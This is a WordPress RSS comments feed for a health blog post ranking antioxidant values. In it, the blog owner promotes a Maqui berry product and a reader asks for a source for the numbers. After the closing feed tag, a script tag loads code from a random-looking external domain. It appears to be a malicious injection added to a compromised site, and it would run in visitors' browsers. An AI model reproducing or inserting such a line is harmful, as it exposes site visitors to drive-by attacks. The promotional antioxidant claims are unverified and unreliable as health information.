












































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Antioxidant Comparison &#8211; What Tops The Charts?</title>
	<atom:link href="http://naturalsuperfoodsblog.com/anti-aging/antioxidant-comparison-what-tops-the-charts/feed/" rel="self" type="application/rss+xml" />
	<link>http://naturalsuperfoodsblog.com/anti-aging/antioxidant-comparison-what-tops-the-charts/</link>
	<description>Nourish &#38; Rejuvenate Your Body Naturally</description>
	<lastBuildDate>Sat, 28 Nov 2009 03:53:33 -0700</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<item>
		<title>By: Natural Superfoods</title>
		<link>http://naturalsuperfoodsblog.com/anti-aging/antioxidant-comparison-what-tops-the-charts/comment-page-1/#comment-1859</link>
		<dc:creator>Natural Superfoods</dc:creator>
		<pubDate>Mon, 24 Nov 2008 04:10:47 +0000</pubDate>
		<guid isPermaLink="false">http://naturalsuperfoodsblog.com/?p=571#comment-1859</guid>
		<description>Brunswick Laboratories is an independent, full-service bio-analytical laboratory specializing in the science of Antioxidants and Oxidative Stress.  The Maqui Superberry company, as a client, has had it&#039;s product tested by Brunswick Labs.  As such the test results would not public record, except where disclosed by Maqui Superberry.  Click on the banner in the article to check out their site.  Maqui berries will be better known shortly as another company is preparing a major product launch.</description>
		<content:encoded><![CDATA[<p>Brunswick Laboratories is an independent, full-service bio-analytical laboratory specializing in the science of Antioxidants and Oxidative Stress.  The Maqui Superberry company, as a client, has had it&#8217;s product tested by Brunswick Labs.  As such the test results would not public record, except where disclosed by Maqui Superberry.  Click on the banner in the article to check out their site.  Maqui berries will be better known shortly as another company is preparing a major product launch.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mike</title>
		<link>http://naturalsuperfoodsblog.com/anti-aging/antioxidant-comparison-what-tops-the-charts/comment-page-1/#comment-1847</link>
		<dc:creator>Mike</dc:creator>
		<pubDate>Sun, 23 Nov 2008 00:43:12 +0000</pubDate>
		<guid isPermaLink="false">http://naturalsuperfoodsblog.com/?p=571#comment-1847</guid>
		<description>Where did these numbers come from??? I cant find them on their site and I thought that Acai has the highest ORAC value.. can someone please confirm this information with a link from the Brunswick lab site</description>
		<content:encoded><![CDATA[<p>Where did these numbers come from??? I cant find them on their site and I thought that Acai has the highest ORAC value.. can someone please confirm this information with a link from the Brunswick lab site</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>